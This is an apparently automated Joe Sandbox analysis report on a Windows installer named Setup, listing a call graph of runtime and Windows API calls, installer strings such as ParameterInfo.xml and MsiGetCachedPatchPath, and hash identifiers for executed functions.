56622->56626 56627 6cb841bd 56622->56627 56623 6cbc65a0 56625 6cbdbe0e _free 66 API calls 56623->56625 56624 6cbd8f0e ctype RtlFreeHeap 56624->56626 56625->56627 56626->56623 56626->56624 63289 6e0c1ba2 63290 6e0c1bad 63289->63290 63294 6e0c1bb2 __except_handler4 63289->63294 63324 6e0c256e GetSystemTimeAsFileTime GetCurrentProcessId GetCurrentThreadId GetTickCount QueryPerformanceCounter 63290->63324 63292 6e0c1c1d 63293 6e0c1dc1 63292->63293 63308 6e0c198c 63292->63308 63301 6e0c1c45 63293->63301 63326 6e0c1a6b 10 API calls __except_handler4 63293->63326 63294->63292 63296 6e0c1bfa 63294->63296 63302 6e0c1c58 __except_handler4 63294->63302 63325 6e0c1a6b 10 API calls __except_handler4 63296->63325 63299 6e0c1c0f 63299->63292 63299->63302 63301->63293 63301->63302 63303 6e0d4638 63304 6e0c198c 33 API calls 63303->63304 63305 6e0d4649 63304->63305 63327 6e0c1a6b 10 API calls __except_handler4 63305->63327 63306 6e0c1ddb 63306->63302 63309 6e0c199b 63308->63309 63312 6e0c1dfc 63308->63312 63328 6e0c247c LoadLibraryW 63309->63328 63311 6e0c1e1c SqmCleanup 63339 6e0c1e30 UnregisterTraceGuids 63311->63339 63312->63311 63315 6e0c19eb 63312->63315 63341 6e0d5f11 EtwTraceMessage 63312->63341 63314 6e0c19a1 63334 6e0c25ff 63314->63334 63315->63301 63315->63303 63318 6e0ce837 63318->63311 63321 6e0c19cb DisableThreadLibraryCalls 63321->63315 63322 6e0c19e1 63321->63322 63322->63315 63340 6e0d5f11 EtwTraceMessage 63322->63340 63324->63294 63325->63299 63326->63306 63327->63293 63329 6e0c2494 GetProcAddress 63328->63329 63330 6e0ce7f1 63328->63330 63331 6e0c24b0 GetProcAddress 63329->63331 63332 6e0ce7d2 63329->63332 63330->63314 63331->63332 63333 6e0c24cf FreeLibrary 63331->63333 63332->63330 63333->63314 63335 6e0c2613 63334->63335 63336 6e0c261d EtwRegisterTraceGuidsW 63335->63336 63337 6e0c19c6 63335->63337 63336->63335 63338 6e0c2671 25 API calls ctype 63337->63338 63338->63321 63339->63315 63340->63315 63341->63318 63342 9b2a24 63380 9b3db0 63342->63380 63344 9b2a30 GetStartupInfoW 63345 9b2a44 HeapSetInformation 63344->63345 63347 9b2a4f 63344->63347 63345->63347 63381 9b3d83 HeapCreate 63347->63381 63348 9b2a9d 63349 9b2aa8 63348->63349 63457 9b29f6 66 API calls 3 library calls 63348->63457 63382 9b3c03 GetModuleHandleW 63349->63382 63352 9b2aae 63353 9b2ab9 __RTC_Initialize 63352->63353 63458 9b29f6 66 API calls 3 library calls 63352->63458 63407 9b3642 GetStartupInfoW 63353->63407 63357 9b2ad3 GetCommandLineW 63420 9b35e5 GetEnvironmentStringsW 63357->63420 63360 9b2ae3 63427 9b3532 GetModuleFileNameW 63360->63427 63364 9b2af8 63433 9b32f6 63364->63433 63367 9b2afe 63368 9b2b09 63367->63368 63461 9b2f1c 66 API calls 3 library calls 63367->63461 63447 9b2cdd 63368->63447 63371 9b2b11 63373 9b2b1c __wwincmdln 63371->63373 63462 9b2f1c 66 API calls 3 library calls 63371->63462 63453 9b2915 HeapSetInformation Run 63373->63453 63375 9b2b4c 63463 9b2ef4 66 API calls _doexit 63375->63463 63376 9b2b3e 63376->63375 63454 9b2ebe 63376->63454 63379 9b2b51 __mtinitlocknum 63380->63344 63381->63348 63383 9b3c20 GetProcAddress GetProcAddress GetProcAddress GetProcAddress 63382->63383 63384 9b3c17 63382->63384 63386 9b3c6a TlsAlloc 63383->63386 63464 9b3937 70 API calls _free 63384->63464 63389 9b3d79 63386->63389 63390 9b3cb8 TlsSetValue 63386->63390 63388 9b3c1c 63388->63352 63389->63352 63390->63389 63391 9b3cc9 63390->63391 63465 9b2c7c _EncodePointerInternal _EncodePointerInternal __init_pointers _doexit __initp_misc_winsig 63391->63465 63393 9b3cce _EncodePointerInternal _EncodePointerInternal _EncodePointerInternal _EncodePointerInternal 63466 9b41a3 InitializeCriticalSectionAndSpinCount 63393->63466 63395 9b3d0d 63396 9b3d11 _DecodePointerInternal 63395->63396 63397 9b3d74 63395->63397 63399 9b3d26 63396->63399 63474 9b3937 70 API calls _free 63397->63474 63399->63397 63467 9b4f82 63399->63467 63402 9b3d44 _DecodePointerInternal 63403 9b3d55 63402->63403 63403->63397 63404 9b3d59 63403->63404 63473 9b3979 66 API calls 4 library calls 63404->63473 63406 9b3d61 GetCurrentThreadId 63406->63389 63408 9b4f82 __calloc_crt 66 API calls 63407->63408 63410 9b3660 63408->63410 63409 9b2ac7 63409->63357 63459 9b2f1c 66 API calls 3 library calls 63409->63459 63410->63409 63411 9b37d5 63410->63411 63413 9b4f82 __calloc_crt 66 API calls 63410->63413 63416 9b3755 63410->63416 63412 9b380b GetStdHandle 63411->63412 63414 9b386f SetHandleCount 63411->63414 63415 9b381d GetFileType 63411->63415 63419 9b3843 InitializeCriticalSectionAndSpinCount 63411->63419 63412->63411 63413->63410 63414->63409 63415->63411 63416->63411 63417 9b378c InitializeCriticalSectionAndSpinCount 63416->63417 63418 9b3781 GetFileType 63416->63418 63417->63409 63417->63416 63418->63416 63418->63417 63419->63409 63419->63411 63421 9b35fa 63420->63421 63422 9b35f6 63420->63422 63486 9b4f38 66 API calls _malloc 63421->63486 63422->63360 63425 9b361c _memmove 63426 9b3623 FreeEnvironmentStringsW 63425->63426 63426->63360 63428 9b3567 _wparse_cmdline 63427->63428 63429 9b2aed 63428->63429 63430 9b35a4 63428->63430 63429->63364 63460 9b2f1c 66 API calls 3 library calls 63429->63460 63487 9b4f38 66 API calls _malloc 63430->63487 63432 9b35aa _wparse_cmdline 63432->63429 63434 9b330e _wcslen 63433->63434 63438 9b3306 63433->63438 63435 9b4f82 __calloc_crt 66 API calls 63434->63435 63441 9b3332 _wcslen 63435->63441 63436 9b3388 63489 9b4ef9 66 API calls _free 63436->63489 63438->63367 63439 9b4f82 __calloc_crt 66 API calls 63439->63441 63440 9b33ae 63490 9b4ef9 66 API calls _free 63440->63490 63441->63436 63441->63438 63441->63439 63441->63440 63444 9b33c5 63441->63444 63488 9b4e4d 66 API calls 2 library calls 63441->63488 63491 9b46ec 10 API calls __call_reportfault 63444->63491 63446 9b33d1 63446->63367 63449 9b2ceb __IsNonwritableInCurrentImage 63447->63449 63492 9b494b 63449->63492 63450 9b2d09 __initterm_e 63452 9b2d2a __IsNonwritableInCurrentImage 63450->63452 63495 9b492f 76 API calls __cinit 63450->63495 63452->63371 63453->63376 63496 9b2d79 63454->63496 63456 9b2ecf 63456->63375 63457->63349 63458->63353 63463->63379 63464->63388 63465->63393 63466->63395 63469 9b4f8b 63467->63469 63470 9b3d3c 63469->63470 63471 9b4fa9 Sleep 63469->63471 63475 9b61ae 63469->63475 63470->63397 63470->63402 63472 9b4fbe 63471->63472 63472->63469 63472->63470 63473->63406 63474->63389 63476 9b61ba 63475->63476 63477 9b61d5 63475->63477 63476->63477 63478 9b61c6 63476->63478 63480 9b61e8 HeapAlloc 63477->63480 63483 9b620f 63477->63483 63485 9b4771 _DecodePointerInternal 63477->63485 63484 9b47e5 66 API calls __getptd_noexit 63478->63484 63480->63477 63480->63483 63481 9b61cb 63481->63469 63483->63469 63484->63481 63485->63477 63486->63425 63487->63432 63488->63441 63489->63438 63490->63438 63491->63446 63493 9b4951 _EncodePointerInternal 63492->63493 63493->63493 63494 9b496b 63493->63494 63494->63450 63495->63452 63497 9b2d85 __mtinitlocknum 63496->63497 63517 9b4331 63497->63517 63499 9b2d8c 63501 9b2db7 _DecodePointerInternal 63499->63501 63506 9b2e36 63499->63506 63503 9b2dce _DecodePointerInternal 63501->63503 63501->63506 63515 9b2de1 63503->63515 63504 9b2eb3 __mtinitlocknum 63504->63456 63524 9b2ea4 63506->63524 63507 9b2e9b 63529 9b2c43 63507->63529 63512 9b2df8 _DecodePointerInternal 63533 9b38e2 _EncodePointerInternal 63512->63533 63515->63506 63515->63512 63516 9b2e07 _DecodePointerInternal _DecodePointerInternal 63515->63516 63532 9b38e2 _EncodePointerInternal 63515->63532 63516->63515 63518 9b4359 EnterCriticalSection 63517->63518 63519 9b4346 63517->63519 63518->63499 63534 9b426a 66 API calls 6 library calls 63519->63534 63521 9b434c 63521->63518 63535 9b2f1c 66 API calls 3 library calls 63521->63535 63525 9b2eaa 63524->63525 63526 9b2e84 63524->63526 63536 9b424e LeaveCriticalSection 63525->63536 63526->63504 63528 9b424e LeaveCriticalSection 63526->63528 63528->63507 63537 9b2c13 GetModuleHandleW 63529->63537 63532->63515 63533->63515 63534->63521 63536->63526 63538 9b2c3c ExitProcess 63537->63538 63539 9b2c27 GetProcAddress 63537->63539 63539->63538 63540 9b2c37 63539->63540 63540->63538

                    Executed Functions

                    Function 6CB8F790 Relevance: 42.8, APIs: 2, Strings: 22, Instructions: 771COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB8F797
                    • __CxxThrowException@8.LIBCMT ref: 6CB8FF8E
                      • Part of subcall function 6CBDC0AA: _malloc.LIBCMT ref: 6CBDC0C4
                      • Part of subcall function 6CBB9E48: __EH_prolog3.LIBCMT ref: 6CBB9E4F
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw_malloc
                    • String ID: C$CommandLineSwitch$FileVersion$HasAdvertisedFeatures$IsAdministrator$IsInOSCompatibilityMode$LCID$MsiGetCachedPatchPath$MsiProductVersion$MsiXmlBlob$Operation$ParameterInfo.xml$Path$RebootPending$RegKey$RegKeyFileVersion$RegKeyValue$TargetArchitecture$TargetOS$TargetOSType$schema validation error: missing child element of $schema validation error: unknown operand element:
                    • API String ID: 623675022-368018510
                    • Opcode ID: f589642f5a2ae56961d43544b04f07e03a3ef9b1872172378d5e40d3a5a13399
                    • Instruction ID: 51b3383f0e448e2727bd05e0b26ed271f430e7620c4b0d5895eae22688cae610
                    • Opcode Fuzzy Hash: f589642f5a2ae56961d43544b04f07e03a3ef9b1872172378d5e40d3a5a13399
                    • Instruction Fuzzy Hash: 51526F71D0529ADFDF00CBE4C884AFEB7B9AF49318F204569E511F7780D7789A088B62
                    Function 6CBB76A7 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 99libraryloaderthreadCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB76AE
                      • Part of subcall function 6CBDC0AA: _malloc.LIBCMT ref: 6CBDC0C4
                    • GetModuleHandleW.KERNEL32(kernel32.dll,00000020,6CBBF845,?), ref: 6CBB7748
                    • GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 6CBB7758
                    • SetThreadStackGuarantee.KERNEL32(00020000), ref: 6CBB776D
                    • SetUnhandledExceptionFilter.KERNEL32(6CBC416A), ref: 6CBB7774
                    • GetCommandLineW.KERNEL32 ref: 6CBB777A
                      • Part of subcall function 6CB87C6E: __EH_prolog3.LIBCMT ref: 6CB87C75
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$AddressCommandExceptionFilterGuaranteeHandleLineModuleProcStackThreadUnhandled_malloc
                    • String ID: SetThreadStackGuarantee$kernel32.dll$passive
                    • API String ID: 4088884676-825548933
                    • Opcode ID: fd1d60c066a037cf5d5463c3f306524e64ac5015de5c13d5a23b0feefe86a692
                    • Instruction ID: 060be4a0018689b2dd79c96e1418938814a5d104663416d9f511f140931f6b7a
                    • Opcode Fuzzy Hash: fd1d60c066a037cf5d5463c3f306524e64ac5015de5c13d5a23b0feefe86a692
                    • Instruction Fuzzy Hash: 344191B19053C49FDB10DFAAC484AAEBBF4BB15308F60486ED05AABF41CB709149CB61
                    Function 6CB95B82 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93fileCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_GS.LIBCMT ref: 6CB95B8C
                    • _memset.LIBCMT ref: 6CB95BBB
                      • Part of subcall function 6CBB8E4A: PathAppendW.SHLWAPI(00000000,?,?,?,?,?,6CBC99FD,00000000,00000000,?,?,?,00000000,?,UiInfo.xml), ref: 6CBB8E6E
                    • FindFirstFileW.KERNEL32(?,?,????), ref: 6CB95BDA
                    • FindNextFileW.KERNELBASE(?,?), ref: 6CB95CA8
                    • FindClose.KERNEL32(?), ref: 6CB95CC1
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: Find$File$AppendCloseFirstH_prolog3_NextPath_memset
                    • String ID: ????
                    • API String ID: 2365859831-1216582215
                    • Opcode ID: 9d1f5bdad94f95f36e04c81e6ab7e9023635816fc6028145503c0d636e6c77c8
                    • Instruction ID: d02b21fabc47e6cda8d5c67a486fd6f87fda76ede653993d31c30d66ff2435e2
                    • Opcode Fuzzy Hash: 9d1f5bdad94f95f36e04c81e6ab7e9023635816fc6028145503c0d636e6c77c8
                    • Instruction Fuzzy Hash: 4131D4718442599ADF20AF64CC8C7EE73B8EF05359F1046E6F409E7A90DB35DA88CB10
                    Function 6CBA5238 Relevance: 7.5, APIs: 5, Instructions: 49processCOMMON
                    Download Yara Rule
                    APIs
                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000), ref: 6CBA5254
                    • _memset.LIBCMT ref: 6CBA526E
                    • Process32FirstW.KERNEL32(00000000,?), ref: 6CBA5288
                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 6CBA52A3
                    • CloseHandle.KERNEL32(00000000), ref: 6CBA52B7
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memset
                    • String ID:
                    • API String ID: 2526126748-0
                    • Opcode ID: fe131f7d8eaa76657bb907032eb12423f377401f5c8e932376d9c5e6f6b0bf04
                    • Instruction ID: f1f696ce5050bbae8655d1c5f2d5d5f25cfd84ea8fdf721dd33a4345bbd63c6c
                    • Opcode Fuzzy Hash: fe131f7d8eaa76657bb907032eb12423f377401f5c8e932376d9c5e6f6b0bf04
                    • Instruction Fuzzy Hash: 7B01D231641158ABCB10DBE6DC4CEEE7778EB86314F550199E954D3280DB30AF4ACAA5
                    Function 6CBCB390 Relevance: 50.5, APIs: 12, Strings: 16, Instructions: 1496threadCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 0 6cbcb390-6cbcb4a9 call 6cbe6e52 call 6cbcd446 call 6cbcd713 call 6cbb833e call 6cbc988c call 6cbb4e70 call 6cbd8f0e call 6cbb833e call 6cbc988c call 6cbd8eab call 6cb8a8cc call 6cbb833e call 6cbb5033 call 6cbd8f0e call 6cbb51c0 SysFreeString call 6cbd8f0e call 6cbcd01e call 6cb959b8 call 6cb96083 39 6cbcb4ab-6cbcb50f call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e * 2 call 6cb8a378 call 6cbe14aa 0->39 40 6cbcb514-6cbcb54d call 6cb95e2b GetCommandLineW call 6cb83e77 call 6cbc9293 0->40 39->40 53 6cbcb54f 40->53 54 6cbcb555-6cbcb5ac call 6cbb833e call 6cbc988c call 6cba4718 call 6cbd8f0e call 6cbb833e 40->54 53->54 72 6cbcb5ae 54->72 73 6cbcb5b4-6cbcb614 call 6cbb84b9 call 6cbd8f0e * 2 54->73 72->73 81 6cbcb616-6cbcb620 call 6cba4a3f 73->81 82 6cbcb630-6cbcb75a call 6cba2d50 call 6cba2d73 call 6cb83a16 GetThreadLocale call 6cb841d6 call 6cbb7889 call 6cbb7db0 call 6cbb7c9e call 6cbb7e78 call 6cb843c4 call 6cb85e41 73->82 85 6cbcb625-6cbcb627 81->85 106 6cbcb75c-6cbcb762 82->106 107 6cbcb768-6cbcb785 call 6cbb8f73 82->107 85->82 87 6cbcb629 85->87 87->82 106->107 108 6cbcb883-6cbcb887 106->108 119 6cbcb7a8-6cbcb7c2 call 6cbb833e 107->119 120 6cbcb787-6cbcb7a6 call 6cbd8eab 107->120 110 6cbcb889-6cbcb88d 108->110 111 6cbcb893-6cbcb8a3 call 6cbb53e5 108->111 110->111 113 6cbcb956-6cbcb9a8 call 6cbb6dcb call 6cba2d2f call 6cb84272 110->113 111->113 121 6cbcb8a9-6cbcb953 call 6cbccb31 call 6cbb833e call 6cbcce5c call 6cbd8f0e * 2 call 6cbb5a5a call 6cba43ed call 6cb841a9 call 6cb95b32 call 6cbcd6d1 call 6cbe6f06 111->121 137 6cbcb9aa-6cbcb9b8 call 6cb842b6 113->137 138 6cbcb9c3-6cbcb9c5 113->138 131 6cbcb7c9-6cbcb7f7 call 6cba2d50 call 6cbb75b5 call 6cbd8f0e 119->131 120->131 156 6cbcb7f9-6cbcb806 call 6cbd8f0e 131->156 157 6cbcb80b-6cbcb813 131->157 137->138 151 6cbcb9ba-6cbcb9bd 137->151 143 6cbcb9c6-6cbcba05 call 6cba6e46 call 6cbd8f0e 138->143 167 6cbcba7c-6cbcbab6 call 6cba2d50 call 6cbd8f0e 143->167 168 6cbcba07-6cbcba27 call 6cbccb31 143->168 151->138 155 6cbcb9bf-6cbcb9c1 151->155 155->143 156->157 161 6cbcb815-6cbcb81b call 6cbd8f0e 157->161 162 6cbcb820-6cbcb84b call 6cbb8e8b 157->162 161->162 184 6cbcb850-6cbcb852 162->184 197 6cbcbab8-6cbcbadc call 6cbccb31 167->197 198 6cbcbae1-6cbcbb00 call 6cb8be2b 167->198 179 6cbcba2c-6cbcba75 call 6cbb833e call 6cbcce5c call 6cba6f61 call 6cbbbe94 call 6cbd8f0e * 2 168->179 179->167 188 6cbcb85e-6cbcb87e call 6cbd8f0e * 3 184->188 189 6cbcb854-6cbcb859 call 6cbb7a1c 184->189 188->108 189->188 197->179 211 6cbcbb06-6cbcbb0d 198->211 212 6cbcbbd0-6cbcbc04 call 6cba2d50 call 6cbd8f0e 198->212 211->212 216 6cbcbb13-6cbcbb1d call 6cbdc0aa 211->216 228 6cbcbb2c-6cbcbb74 call 6cba2d50 call 6cbccec8 call 6cbd8f0e 212->228 231 6cbcbc0a-6cbcbc48 call 6cbccb31 call 6cbb833e call 6cbcce5c 212->231 224 6cbcbbc8-6cbcbbcb 216->224 225 6cbcbb23-6cbcbb29 216->225 224->228 225->228 241 6cbcbb7a-6cbcbbc0 call 6cba6f61 call 6cbbbe94 call 6cbd8f0e * 2 228->241 242 6cbcbc5b-6cbcbc68 call 6cb84272 228->242 248 6cbcbc4b-6cbcbc56 231->248 241->224 249 6cbcbc7f-6cbcbccc call 6cbccb31 call 6cbb833e call 6cbcce5c 242->249 250 6cbcbc6a-6cbcbc78 call 6cb842b6 242->250 248->242 275 6cbcbcce-6cbcbcda 249->275 250->249 259 6cbcbc7a-6cbcbc7d 250->259 259->249 262 6cbcbcdf-6cbcbd02 call 6cbb833e call 6cb84552 259->262 276 6cbcbd04-6cbcbd6d call 6cbccb31 call 6cbb833e call 6cbcce5c call 6cbd8f0e 262->276 277 6cbcbd72-6cbcbdcb call 6cba2d50 call 6cbb586d call 6cbd8f0e call 6cbb594b 262->277 275->248 276->275 295 6cbcbeed-6cbcbf26 call 6cba2d50 call 6cbd8f0e 277->295 296 6cbcbdd1-6cbcbdd6 277->296 319 6cbcbf28-6cbcbf91 CloseHandle call 6cbd8f0e * 2 call 6cba6f61 call 6cbbbe94 call 6cbd8f0e * 2 295->319 320 6cbcbf9b-6cbcc011 call 6cba2d50 call 6cba8fce call 6cb84486 call 6cbd8f0e 295->320 297 6cbcbddc-6cbcbe85 call 6cbb833e call 6cbbae4a call 6cb8420c call 6cbb7a92 CloseHandle call 6cbd8f0e * 2 call 6cba6f61 call 6cbbbe94 call 6cbd8f0e * 2 296->297 298 6cbcbe8d-6cbcbee8 call 6cbccb31 call 6cbb833e call 6cbcce5c CloseHandle call 6cbd8f0e 296->298 297->298 298->295 319->320 345 6cbcc017-6cbcc01b 320->345 346 6cbcc100-6cbcc16c call 6cb84486 call 6cbb833e call 6cbd8f0e 320->346 349 6cbcc01d-6cbcc021 345->349 350 6cbcc023-6cbcc030 call 6cb8420c 345->350 387 6cbcc16e-6cbcc178 call 6cbd8d3a 346->387 388 6cbcc17b-6cbcc233 GetTempPathW call 6cbd8afc call 6cba2d73 call 6cba2d50 call 6cbb8c7a call 6cbb8c24 call 6cbbff21 call 6cbd8f0e * 4 CreateDirectoryW 346->388 349->350 354 6cbcc036-6cbcc03d call 6cba9048 349->354 350->346 350->354 365 6cbcc042-6cbcc04c 354->365 373 6cbcc04e-6cbcc051 365->373 374 6cbcc053-6cbcc060 365->374 377 6cbcc0a4-6cbcc0e5 call 6cb8420c call 6cbb7a92 call 6cbd8f0e 373->377 374->377 384 6cbcc062-6cbcc06b 374->384 395 6cbcc0ea-6cbcc0f3 377->395 394 6cbcc06d-6cbcc089 call 6cbb833e call 6cbbb057 384->394 384->395 387->388 427 6cbcc25c-6cbcc275 call 6cbb833e call 6cbb84b9 388->427 428 6cbcc235-6cbcc240 GetLastError 388->428 409 6cbcc08e-6cbcc09d call 6cbd8f0e 394->409 395->346 407 6cbcc0f5-6cbcc0fb call 6cbcd713 395->407 407->346 409->377 438 6cbcc278-6cbcc3ec call 6cbd8f0e * 2 call 6cbcd779 call 6cbce449 call 6cb859a2 call 6cbb1494 call 6cb85d3f call 6cbd8eab call 6cb84486 427->438 428->427 429 6cbcc242-6cbcc25a call 6cb85d3f call 6cbb84b9 428->429 429->438 458 6cbcc3ee 438->458 459 6cbcc3f4-6cbcc4e1 call 6cb859a2 call 6cbd8f0e call 6cb84460 call 6cba76bb call 6cbd8f0e call 6cb84460 call 6cba76bb call 6cbd8f0e call 6cb84460 call 6cbd8f0e 438->459 458->459 480 6cbcc4f5-6cbcc52f call 6cba7053 459->480 481 6cbcc4e3-6cbcc4f2 459->481 485 6cbcc535-6cbcc622 call 6cbccb31 call 6cbb833e call 6cbcce5c call 6cba7148 call 6cba7773 * 2 call 6cba7292 call 6cbd8f0e * 2 call 6cba7292 call 6cbce49e call 6cbcd985 call 6cbd8f0e * 2 480->485 486 6cbcc627-6cbcc6a5 480->486 481->480 485->486 508 6cbcc6cc-6cbcc6e8 call 6cb8420c 486->508 509 6cbcc6a7-6cbcc6c0 486->509 521 6cbcc6ea-6cbcc6f8 508->521 522 6cbcc713-6cbcc740 call 6cbb7a92 call 6cba2d50 508->522 509->508 516 6cbcc6c2-6cbcc6c9 509->516 516->508 524 6cbcc6ff-6cbcc70d 521->524 525 6cbcc6fa-6cbcc6fd 521->525 535 6cbcc755-6cbcc8ec call 6cbd8f0e call 6cba7148 call 6cba7773 * 2 call 6cba7292 call 6cbd8f0e * 2 call 6cba7292 call 6cbce49e call 6cbcd985 call 6cbd8f0e * 3 CloseHandle call 6cbd8f0e * 2 call 6cba6f61 call 6cbbbe94 call 6cbd8f0e * 2 call 6cbb5a5a call 6cba43ed call 6cb841a9 call 6cb95b32 call 6cbcd6d1 522->535 536 6cbcc742-6cbcc750 call 6cbd63d7 522->536 524->522 525->522 525->524 536->535
                    APIs
                    • __EH_prolog3_catch.LIBCMT ref: 6CBCB39A
                      • Part of subcall function 6CBCD446: __EH_prolog3_catch.LIBCMT ref: 6CBCD44D
                      • Part of subcall function 6CBCD446: GetCommandLineW.KERNEL32(0000006C,6CBCB3B6,?,00000738,6CBBFA6E,?,6CB7A794,-00000960), ref: 6CBCD48E
                      • Part of subcall function 6CBCD446: CoInitialize.OLE32(00000000), ref: 6CBCD4EF
                      • Part of subcall function 6CBCD713: CreateThread.KERNEL32(00000000,00000000,6CBD23E8,?,00000000,00000000), ref: 6CBCD729
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBC988C: __EH_prolog3.LIBCMT ref: 6CBC9893
                      • Part of subcall function 6CBC988C: GetCommandLineW.KERNEL32(0000002C,6CBCD52A,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CBC98B4
                      • Part of subcall function 6CBC988C: PathIsRelativeW.SHLWAPI(?,?,?,00000000,?,UiInfo.xml,?,?,00000000,?), ref: 6CBC996E
                      • Part of subcall function 6CBB4E70: __EH_prolog3.LIBCMT ref: 6CBB4E77
                      • Part of subcall function 6CBB4E70: __CxxThrowException@8.LIBCMT ref: 6CBB4F68
                      • Part of subcall function 6CBB4E70: ReadFile.KERNEL32(?,?,00000002,?,00000000,?,80000000,00000001,00000003,00000080,00000000,?,?,?,?,0000002C), ref: 6CBB4F7E
                      • Part of subcall function 6CBB4E70: CloseHandle.KERNEL32(?), ref: 6CBB4FA1
                      • Part of subcall function 6CB8A8CC: __EH_prolog3.LIBCMT ref: 6CB8A8D3
                      • Part of subcall function 6CB8A8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A90B
                      • Part of subcall function 6CB8A8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A964
                      • Part of subcall function 6CB8A8CC: __CxxThrowException@8.LIBCMT ref: 6CB8AA28
                      • Part of subcall function 6CBB5033: __EH_prolog3.LIBCMT ref: 6CBB503A
                      • Part of subcall function 6CBB5033: __CxxThrowException@8.LIBCMT ref: 6CBB50B6
                      • Part of subcall function 6CBB51C0: __EH_prolog3_catch.LIBCMT ref: 6CBB51C7
                      • Part of subcall function 6CBB51C0: CoInitialize.OLE32(00000000), ref: 6CBB51DC
                    • SysFreeString.OLEAUT32(?), ref: 6CBCB471
                      • Part of subcall function 6CBCD01E: __EH_prolog3.LIBCMT ref: 6CBCD025
                      • Part of subcall function 6CBCD01E: PathFileExistsW.SHLWAPI(?,6CB761FC,graphics,?,00000054,6CBCB48A,?,?,?,?,ParameterInfo.xml,?,00000000,?,?,ParameterInfo.xml), ref: 6CBCD0BE
                      • Part of subcall function 6CB959B8: __EH_prolog3.LIBCMT ref: 6CB959BF
                      • Part of subcall function 6CB96083: __EH_prolog3_catch.LIBCMT ref: 6CB9608A
                    • GetCommandLineW.KERNEL32(?,?,?,?,?,ParameterInfo.xml,?,00000000,?,?,ParameterInfo.xml,?,?,00000738,6CBBFA6E,?), ref: 6CBCB51F
                      • Part of subcall function 6CB8838A: __EH_prolog3.LIBCMT ref: 6CB88391
                      • Part of subcall function 6CB8A378: __EH_prolog3.LIBCMT ref: 6CB8A37F
                    • __CxxThrowException@8.LIBCMT ref: 6CBCB50F
                      • Part of subcall function 6CBE14AA: KiUserExceptionDispatcher.NTDLL(?,?,6CBDC129,00000C00,?,?,?,?,6CBDC129,00000C00,6CBFBA3C,6CC176D4,00000C00,00000020,6CBBF845,?), ref: 6CBE14EC
